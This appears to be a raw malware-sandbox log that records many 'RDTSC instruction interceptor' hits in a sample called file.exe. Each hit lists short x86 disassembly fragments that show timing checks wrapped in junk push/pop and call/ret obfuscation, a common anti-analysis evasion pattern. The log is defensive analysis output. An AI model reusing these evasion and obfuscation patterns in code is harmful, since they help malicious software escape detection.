Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DC60 second address: 133DC66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DC66 second address: 133DC6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DC6A second address: 133DC6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DC6E second address: 133DC8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F256CF66DE3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DC8E second address: 133DC92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DC92 second address: 133DCBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c jmp 00007F256CF66DE7h 0x00000011 jbe 00007F256CF66DDCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DCBD second address: 133DD74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [ebp+122D21F3h], ebx 0x0000000c push 00000003h 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F256CC76B68h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 sub dword ptr [ebp+122D2294h], ebx 0x0000002e push 00000000h 0x00000030 sbb cx, AFCEh 0x00000035 push 00000003h 0x00000037 push 00000000h 0x00000039 push ebp 0x0000003a call 00007F256CC76B68h 0x0000003f pop ebp 0x00000040 mov dword ptr [esp+04h], ebp 0x00000044 add dword ptr [esp+04h], 0000001Dh 0x0000004c inc ebp 0x0000004d push ebp 0x0000004e ret 0x0000004f pop ebp 0x00000050 ret 0x00000051 mov dx, 533Eh 0x00000055 push A29C3C6Ch 0x0000005a jne 00007F256CC76B72h 0x00000060 xor dword ptr [esp], 629C3C6Ch 0x00000067 and edx, dword ptr [ebp+122D37BEh] 0x0000006d lea ebx, dword ptr [ebp+12451A9Ah] 0x00000073 jng 00007F256CC76B6Bh 0x00000079 mov edx, 1D74811Eh 0x0000007e push eax 0x0000007f pushad 0x00000080 push eax 0x00000081 push edx 0x00000082 jmp 00007F256CC76B72h 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DD74 second address: 133DD78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DDE3 second address: 133DDE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DDE7 second address: 133DE17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 and ecx, dword ptr [ebp+122D393Eh] 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 pop ecx 0x00000012 push 9875AF35h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F256CF66DE6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DF79 second address: 133DF91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F256CC76B74h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DF91 second address: 133DF95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DF95 second address: 133E00D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 4D0E9212h 0x0000000f push 00000003h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F256CC76B68h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b ja 00007F256CC76B7Ah 0x00000031 stc 0x00000032 push 00000000h 0x00000034 movsx edi, ax 0x00000037 push 00000003h 0x00000039 jmp 00007F256CC76B6Eh 0x0000003e call 00007F256CC76B69h 0x00000043 pushad 0x00000044 ja 00007F256CC76B68h 0x0000004a pushad 0x0000004b popad 0x0000004c push eax 0x0000004d push edx 0x0000004e push esi 0x0000004f pop esi 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E00D second address: 133E01A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E01A second address: 133E01E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E01E second address: 133E022 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E022 second address: 133E062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F256CC76B74h 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F256CC76B75h 0x00000015 mov eax, dword ptr [eax] 0x00000017 jo 00007F256CC76B78h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E062 second address: 133E066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E066 second address: 133E06A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133E06A second address: 133E0A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b jmp 00007F256CF66DDBh 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 popad 0x00000017 pop eax 0x00000018 lea ebx, dword ptr [ebp+12451AAEh] 0x0000001e mov dword ptr [ebp+122D1812h], ecx 0x00000024 sub si, 7700h 0x00000029 push eax 0x0000002a jc 00007F256CF66DDEh 0x00000030 push ecx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135DF29 second address: 135DF50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F256CC76B79h 0x0000000c jng 00007F256CC76B66h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135DF50 second address: 135DF86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DE9h 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F256CF66DE6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135BE4A second address: 135BE70 instructions: 0x00000000 rdtsc 0x00000002 js 00007F256CC76B77h 0x00000008 jmp 00007F256CC76B6Fh 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 jng 00007F256CC76B66h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135BF97 second address: 135BF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135BF9D second address: 135BFA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F256CC76B66h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135BFA8 second address: 135BFAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135BFAF second address: 135BFD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F256CC76B79h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135BFD7 second address: 135BFE8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F256CF66DDBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135BFE8 second address: 135BFF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135C3C6 second address: 135C3E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135C3E2 second address: 135C3E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135CAE8 second address: 135CAED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135CAED second address: 135CB0C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F256CC76B75h 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135CC56 second address: 135CC5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135CC5A second address: 135CC6A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jbe 00007F256CC76B66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135CC6A second address: 135CC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135CDC1 second address: 135CDC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1351325 second address: 135132B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135132B second address: 135132F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135D0A2 second address: 135D0C2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F256CF66DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135D0C2 second address: 135D0C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135D0C6 second address: 135D0D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135D8FB second address: 135D94D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F256CC76B66h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F256CC76B78h 0x00000012 jmp 00007F256CC76B70h 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jng 00007F256CC76B7Eh 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F256CC76B6Ah 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135D94D second address: 135D963 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DE0h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135DABD second address: 135DAC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135DAC7 second address: 135DAE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F256CF66DD6h 0x0000000a jmp 00007F256CF66DDAh 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jc 00007F256CF66DD6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135DAE8 second address: 135DAEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135DAEE second address: 135DAF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135DAF4 second address: 135DAFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135DAFC second address: 135DB09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F256CF66DD6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135DB09 second address: 135DB12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135DB12 second address: 135DB29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F256CF66DDCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135DB29 second address: 135DB2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1363F4F second address: 1363F53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13644D7 second address: 1364507 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F256CC76B66h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007F256CC76B78h 0x00000015 js 00007F256CC76B6Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136AD7F second address: 136AD85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13304FB second address: 1330513 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jl 00007F256CC76B66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007F256CC76B66h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330513 second address: 1330517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330517 second address: 133052E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B73h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133052E second address: 1330543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F256CF66DDBh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330543 second address: 133054D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136A2A8 second address: 136A2AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136A2AC second address: 136A2BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jns 00007F256CC76B66h 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136A2BA second address: 136A2C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136A2C0 second address: 136A2C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136A8E2 second address: 136A8EC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F256CF66DD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136AA2F second address: 136AA47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B7B7 second address: 136B7BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B94C second address: 136B950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B950 second address: 136B954 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B9E8 second address: 136B9F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136BA87 second address: 136BA9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F256CF66DDDh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136BFEB second address: 136BFEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136C052 second address: 136C05D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136C05D second address: 136C062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136C062 second address: 136C0AC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F256CF66DD8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov edi, 7EE79BBEh 0x00000028 nop 0x00000029 jmp 00007F256CF66DDFh 0x0000002e push eax 0x0000002f pushad 0x00000030 pushad 0x00000031 ja 00007F256CF66DD6h 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136C262 second address: 136C266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136C49E second address: 136C4B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F256CF66DDEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D52C second address: 136D530 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E650 second address: 136E667 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F256CF66DD6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E667 second address: 136E6FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F256CC76B6Ch 0x00000012 clc 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F256CC76B68h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f push esi 0x00000030 jmp 00007F256CC76B74h 0x00000035 pop esi 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007F256CC76B68h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 00000017h 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 or dword ptr [ebp+122D3134h], edi 0x00000058 xchg eax, ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b jnl 00007F256CC76B68h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E6FB second address: 136E700 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13706BA second address: 13706C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137044E second address: 1370452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13706C0 second address: 13706C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13706C4 second address: 13706C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13706C8 second address: 1370715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov si, di 0x0000000e push 00000000h 0x00000010 jmp 00007F256CC76B78h 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+122D35D9h], ebx 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F256CC76B78h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1370715 second address: 137071B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13710BA second address: 13710BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
